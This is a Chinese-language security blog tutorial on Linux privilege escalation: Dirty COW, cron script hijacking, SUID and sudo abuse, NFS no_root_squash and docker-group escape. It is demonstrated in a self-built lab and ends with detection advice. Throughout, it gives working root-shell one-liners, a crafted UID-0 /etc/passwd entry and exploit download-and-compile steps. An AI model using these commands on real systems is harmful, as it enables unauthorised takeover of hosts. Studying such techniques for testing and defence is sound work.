Linux提權手法實戰

語言: CN / TW / HK

閱讀: 5

Linux對不同角色的使用者進行了許可權管控,提權意味著使用者獲得不允許他使用的許可權。  比如可以通過提權將使用者的角色由普通使用者變為管理員,從而獲得更高的訪問許可權,執行相應的高危操作。提權是滲透流程中非常重要的一環,很大程度上決定本次滲透的最終成果。Linux提權的常見手法有以下幾種:核心漏洞提權、定時任務提權、SUID提權、SUDO濫用提權、NFS提權、Docker組提權,下面逐一介紹。

1. 核心漏洞提權

Linux系統處於原始碼開放狀態,多年來被各國的安全從業者發現一系列漏洞,利用其中的一部分漏洞可以直接獲取到系統的最高許可權。利用核心漏洞進行提權一般包括三個環節:首先,對目標系統進行資訊收集,獲取到系統核心資訊以及版本資訊;而後,根據核心版本獲取其對應的漏洞以及EXP;最後,使用找到的EXP對目標系統發起攻擊,完成提權操作。本文以一個經典的Linux核心提權漏洞-“Dirty COW”來做演示,其資訊如下所示:

漏洞資訊:CVE-2016-5195漏洞(Dirty COW,髒牛)

影響範圍:Linux 核心2.6.22 – 3.9 (x86/x64)

漏洞EXP: http://github.com/FireFart/dirtycow

該漏洞的利用方式如下:

(1)資訊收集:通過“uname -a”命令檢視核心版本,可見其存在本漏洞。

(2)獲取EXP:通過上文的連結將exp下載到本地,使用“gcc -pthread dirty.c -o dirty -lcrypt”命令對dirty.c進行編譯,生成一個名為dirty的可執行檔案。此時檢視使用者資訊,顯示當前使用者為普通使用者。

(3)發起攻擊:執行“./dirty  123456”(密碼自定義),執行提權。

根據返回資訊的提示,使用“firefart”進行登入,密碼為上文設定的密碼。檢視使用者許可權,為root許可權,提權成功!

2. 定時任務提權

定時任務(cron job)是Linux系統中的一個守護程序,用於排程重複任務,通過配置crontab可以讓系統週期性地執行某些命令或者指令碼。cron 是 Linux 系統中最為實用的工具之一,但是也可能被黑客用於提權操作。由於cron通常以root特權執行,如果我們可以修改其排程的任何指令碼或二進位制檔案,那麼便可以使用root許可權執行任意程式碼。本文首先配置一個定時任務,然後利用該任務進行提權。

(1)定時任務建立

編寫一個指令碼test.py ,將其許可權置為所有使用者可讀可寫可操作:chmod 777 test.py。

而後修改crontab檔案,將定時任務註冊到系統中:vim /etc/crontab,在末尾加上“*/1 *   * * *   root    python  /home/ubuntu/test.py”,表示每1分鐘執行一次test.py。至此,定時任務建立成功。

(2)提權操作

假設通過之前的滲透操作,獲得了低許可權的使用者ubuntu。

檢視crontab檔案:cat /etc/crontab,發現存在定時任務,以root身份定時執行/home/ubuntu/test.py。而test.py檔案是任意成員可寫的,於是向其程式碼尾部追加以下內容:

“os.chmod(“/etc/passwd”,stat.S_IRWXU|stat.S_IRWXG|stat.S_IRWXO)”,將passwd檔案許可權設定為任意成員可寫。

一分鐘之後,程式自動執行,發現passwd已經任意成員可寫。

接下來需要做的就是構造一個使用者,在密碼佔位符處指定密碼,UID設定為0,並將其新增到 /etc/passwd 檔案中。

首先,使用perl語言生成帶有鹽值的密碼: perl -le ‘print crypt(“hack”,“addedsalt”)’

而後,拼接密碼,將以下字串寫入/etc/passwd檔案,之後便擁有了一個超級使用者hack:hack。

“hack:adCP9//qaScc2:0:0:User_like_root:/root:/bin/bash”

最後,登入hack使用者,自動跳轉到root使用者,提權成功!

3.  SUID提權

SUID(設定使用者ID)是賦予檔案的一種許可權,它會出現在檔案擁有者許可權的執行位上,具有這種許可權的檔案會在其執行時,使呼叫者暫時獲得該檔案擁有者的許可權。為可執行檔案新增suid許可權的目的是簡化操作流程,讓普通使用者也能做一些高許可權才能做的的工作。但是如果某些現有的二進位制檔案和實用程式具有SUID許可權的話,就可以在執行時將許可權提升為root。

SUID提權的原理與Linux程序的UID有關,程序在執行的時候有以下三個UID:

(A)Real UID:執行該程序的使用者的UID。Real UID只用於標識使用者,不用於許可權檢查。

(B)Effective UID(EUID):程序執行時生效的UID。在對訪問目標進行操作時,系統會檢查EUID是否有許可權。一般情況下,Real UID與EUID相同,但在執行設定了SUID許可權的程式時,程序的EUID會被設定為程式檔案屬主的UID。

(C)Saved UID:在高許可權使用者降權後,保留的UID。

如果某個設定了SUID許可權的程式執行後建立了shell,那麼shell程序的EUID也會是這個程式檔案屬主的UID,如果屬主為root,便是一個root shell。root shell中執行的程式的EUID也都是0,具備超級許可權,於是便實現了提權。本文中先為程序配置許可權,而後實現提權操作。

  • 許可權配置

使用“chmod  u+s  progress_test”命令為檔案配置SUID許可權,本文以find、make、flock、env、python為例,配置成功之後擁有者許可權的執行位為s。

  • 提權操作

假設前期的滲透操作已經拿下了一個低許可權的使用者suid_test,下面對其提權。使用命令檢視本機中擁有suid許可權的程式檔案:find / -user root -perm -4000 -print 2>/dev/null

1) find

輸入以下命令:find . -exec /bin/sh -p \; -quit,返回shell,可見該程序euid為root,可以讀取shadow檔案,提權成功!

2) make

輸入以下命令返回root shell:

COMMAND=’/bin/sh -p’

make -s –eval=$’x:\n\t-‘”$COMMAND”

3) flock

輸入以下命令返回root shell:

flock -u / /bin/sh -p

4) env

輸入以下命令返回root shell:

env /bin/sh -p

5) python

輸入以下命令返回root shell:

python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’

4. Sud o濫用提權

sudo是linux系統管理指令,是允許系統管理員讓普通使用者執行一些或者全部的root命令的一個工具,如halt,reboot,su等等。sudo使一般使用者不需要知道超級使用者的密碼即可獲得許可權。首先超級使用者將普通使用者的名字、可以執行的特定命令、按照哪種使用者或使用者組的身份執行等資訊,登記在特殊的檔案中(通常是/etc/sudoers),即完成對該使用者的授權(此時該使用者稱為“sudoer”);在一般使用者需要取得特殊許可權時,其可在命令前加上“sudo”,此時sudo將會詢問該使用者自己的密碼(以確認終端機前的是該使用者本人),回答後系統即會將該命令的程序以超級使用者的許可權執行。之後的一段時間內(預設為5分鐘,可在/etc/sudoers自定義),使用sudo不需要再次輸入密碼。

在sudoers中增加以下內容,可以使使用者user_test可以從任何終端執行,以root使用者身份執行命令find 而無需密碼。

user_test  ALL = (root) NOPASSWD: /usr/bin/find

  • 許可權配置

新建普通使用者sudo_test,而後切換到root使用者,執行以下動作:

新增檔案的寫許可權:chmod u+w /etc/sudoers;

向sudoer檔案中新增以下內容(可按需增加):sudo_test   ALL= (root) NOPASSWD: /usr/bin/find, (root) NOPASSWD: /usr/bin/vim,(root) NOPASSWD:/usr/bin/awk,(root) NOPASSWD:/usr/bin/man,(root) NOPASSWD:/usr/bin/less,(root) NOPASSWD:/bin/more,(root) NOPASSWD:/bin/tar,(root) NOPASSWD:/usr/bin/zip;

撤銷檔案的寫許可權:chmod u-w /etc/sudoers;

  • 提權操作

當前已經獲取到低許可權使用者sudo_test,使用sudo -l命令檢視本使用者允許使用的sudo程式。

1) find

執行以下命令:sudo find /etc/passwd -exec /bin/sh \;,返回了root shell,提權成功!

2) Vim

執行以下命令提權:sudo vim -c ‘!sh’

3) awk

執行以下命令提權:sudo awk ‘BEGIN {system(“/bin/bash”)}’

4) Less

執行以下命令:sudo less /etc/hosts,之後輸入!和enter,切換到root使用者,提權成功!

5) Man

執行以下命令:sudo man man,之後輸入!和enter,切換到root使用者,提權成功!

5. NFS提權

NFS (網路檔案系統)是一種分散式檔案系統協議,NFS允許系統通過網路與其他人共享目錄和檔案。在NFS檔案共享中,使用者甚至程式可以訪問遠端系統上的資訊,就像它們駐留在本地計算機上一樣。NFS中的Root Squashing(root_sqaush)引數阻止對連線到NFS卷的遠端root使用者具有root訪問許可權。當該引數設定為no_root_squash時,登入 NFS 主機使用分享目錄的使用者如果是 root 的話,那麼對於這個分享的目錄來說,他就具有 root 的許可權,基於此原理便可實現提權。

  • 許可權配置

首先在靶機(192.168.88.134)上配置NFS服務端,配置流程參考下面連結:

http://blog.csdn.net/weicao1990/article/details/90137680

配置成功之後將/home/ubuntu/tmp資料夾設定為可遠端訪問,且 Root Squashing引數設定為no_root_squash。

  • 提權操作

現在,我們拿到了一個低許可權的shell nfs_test,檢視“/etc /exports”檔案發現/home/ubuntu/tmp檔案是可共享的,遠端可以掛載,且為no_root_squash,於是可以利用該共享資料夾進行提權。

首先在攻擊機(kali)上安裝nfs客戶端:sudo apt-get install nfs-common,然後將靶機的共享目錄掛載到本機目錄/home/kali/Desktop/test:sudo mount 192.168.88.134:/home/ubuntu/tmp  /home/kali/Desktop/test

在/home/kali/Desktop/test檔案中寫入一個C檔案:

之後編譯生成可執行exp,並賦予SUID許可權:

gcc exp.c -o exp

chmod +s exp

之後回到靶機,可見靶機上檔案與攻擊機上一致,執行exp,使用者切換到root,提權成功!

6. Docker提權

除了利用Linux系統自帶的工具進行提權,還可以利用大量存在風險的第三方工具進行提權,本文以Docker為例進行演示。 隨著雲化時代的來臨,docker也越來越流行,在很多公司內部的linux機器上docker已然成了標配。Docker使用便捷,有以下幾個特性:

(1)可免sudo使用docker:預設情況下使用docker必須要有sudo許可權,對於一臺機器多使用者使用,往往很多使用者只有普通許可權。為了讓普通使用者也可以使用Docker,管理員將需要使用docker的使用者新增到docker使用者組(安裝docker後預設會建立該組)中,使用者重新登入機器即可免sudo使用docker了。

(2)容器內使用者許可權不受限:使用者建立一個docker容器後,容器內預設是root賬戶,在不需要加sudo的情況下可以任意更改容器內的配置。正常情況下,這種模式既可以保證一臺機器被很多普通使用者使用,通過docker容器的隔離,相互之前互不影響;也給使用者在容器內開放了充足的許可權保證使用者可以正常安裝軟體,修改容器配置等操作。

(3)容器內外檔案可對映:docker提供了一個-v選項,提供使用者將容器外的host目錄對映進容器內,方便的進行容器內外的檔案共享。

結合上面三個特點,可以實現使用者提權操作。

  • 使用者配置

使用管理員新建一個普通使用者user_docker,並將其新增到docker組中:sudo gpasswd -a user_docker docker。

  • 提權操作

通過前期的滲透操作,拿下user_docker的許可權,下面對其進行提權。首先,執行一個容器:docker run -it -v /etc:/etc ubuntu /bin/bash,將宿主機的/etc目錄直接對映進容器,從而覆蓋了容器內的/etc目錄。由於linux系統上的本地使用者資訊主要記錄在/etc/目錄下,比如兩個常見檔案/etc/passwd和/etc/group,而在容器內當前使用者有root許可權,於是可以隨意修改這兩個檔案,實現提權:

修改/etc/passwd檔案,可更改root密碼,或者新增一個uid=0的使用者。

修改/etc/group檔案,將當前使用者新增到sudo組中。

本文演示第二種方法,在容器內執行下列命令:usermod -aG sudo user_docker,將user_docker使用者載入到sudo組中,而後退出容器。

檢視宿主機檔案/etc/group,可見user_docker已經擁有sudo許可權,提權成功!

除此之外,DockerHub上已經有人將exp打包成映象rootplease ,只要使用者在 docker 組中,執行下面命令就能直接在 docker 中獲取到 root 許可權:docker run -v /:/hostOS -it chrisfosterelli/rootplease。容器生成後自動獲取到宿主機的 root 許可權,並啟動 shell 程式,直接在 docker 中執行命令。

在這種多使用者藉助docker共用一臺機器的情況下,普通使用者可以輕鬆的藉助docker提升為sudo使用者,從而可以進行任意修改系統配置等各種惡意操作。以上是本地使用者的破壞還不是很明顯,畢竟是公司內部使用者大多不會進行惡意操作。然而,很多情況下普通使用者為了方便,使用者密碼往往設定得很簡單,如果攻擊者通過其他途徑暴力破解普通使用者弱口令,就可以很輕鬆得提示為管理員從事不可限制的惡意操作,這也大大降低了攻擊者的攻擊難度。

7.  總結

在滲透專案中,攻擊人員通常會設法獲取root許可權的shell,然後再進行下一步的操作,本文旨在提供一些從普通許可權到root許可權的方法,總結如下:

(1)通過檢視核心版本,尋找是否存在可以用於提權的漏洞。

(2)通過資訊收集,檢視定時任務,sudo配置,suid許可權配置,檢視是否存在可以用於提權的不當配置。

(3)通過檢視第三方應用的配置資訊或者其開放的服務,分析是否可以用於提權。

提權的手法多種多樣,而作為安全從業者,除了需要知道如何進攻,更重要的是知道如何防守。關於提權的檢測方法,提供以下幾種思路:

  • 核心漏洞檢測:通過漏洞掃描工具發現存在的提權漏洞,在黑客發起攻擊前修復漏洞,防患於未然。
  • 配置合規檢測:大量的提權漏洞是由於管理員的錯誤配置導致的,可以通過檢測系統中的各種配置檔案提前識別風險。
  • 惡意命令檢測:攻擊者在提權過程中會使用一些惡意的命令,可以將常用的提權命令加入黑名單,若觸發黑名單則認為存在提權。
  • 程序呼叫資訊檢測:提權的最終特徵是低許可權的程序拉起了一個高許可權的程序,基於此特徵可以動態監控新建的程序,若滿足條件則認為存在提權行為。

參考連結:

http://www.freebuf.com/articles/web/254452.html

http://xz.aliyun.com/t/2401#toc-0

http://cloud.tencent.com/developer/article/1708369

http://www.freebuf.com/articles/web/280398.html

http://blog.csdn.net/weicao1990/article/details/90137680

http://szukevin.site/2020/05/31/%E5%88%A9%E7%94%A8docker%E6%8F%90%E6%9D%83%E7%9A%84%E4%B8%80%E6%AC%A1%E5%B0%9D%E8%AF%95/

http://www.freebuf.com/articles/network/268221.html

版權宣告

本站“技術部落格”所有內容的版權持有者為綠盟科技集團股份有限公司(“綠盟科技”)。作為分享技術資訊的平臺,綠盟科技期待與廣大使用者互動交流,並歡迎在標明出處(綠盟科技-技術部落格)及網址的情形下,全文轉發。

上述情形之外的任何使用形式,均需提前向綠盟科技(010-68438880-5462)申請版權授權。如擅自使用,綠盟科技保留追責權利。同時,如因擅自使用部落格內容引發法律糾紛,由使用者自行承擔全部法律責任,與綠盟科技無關。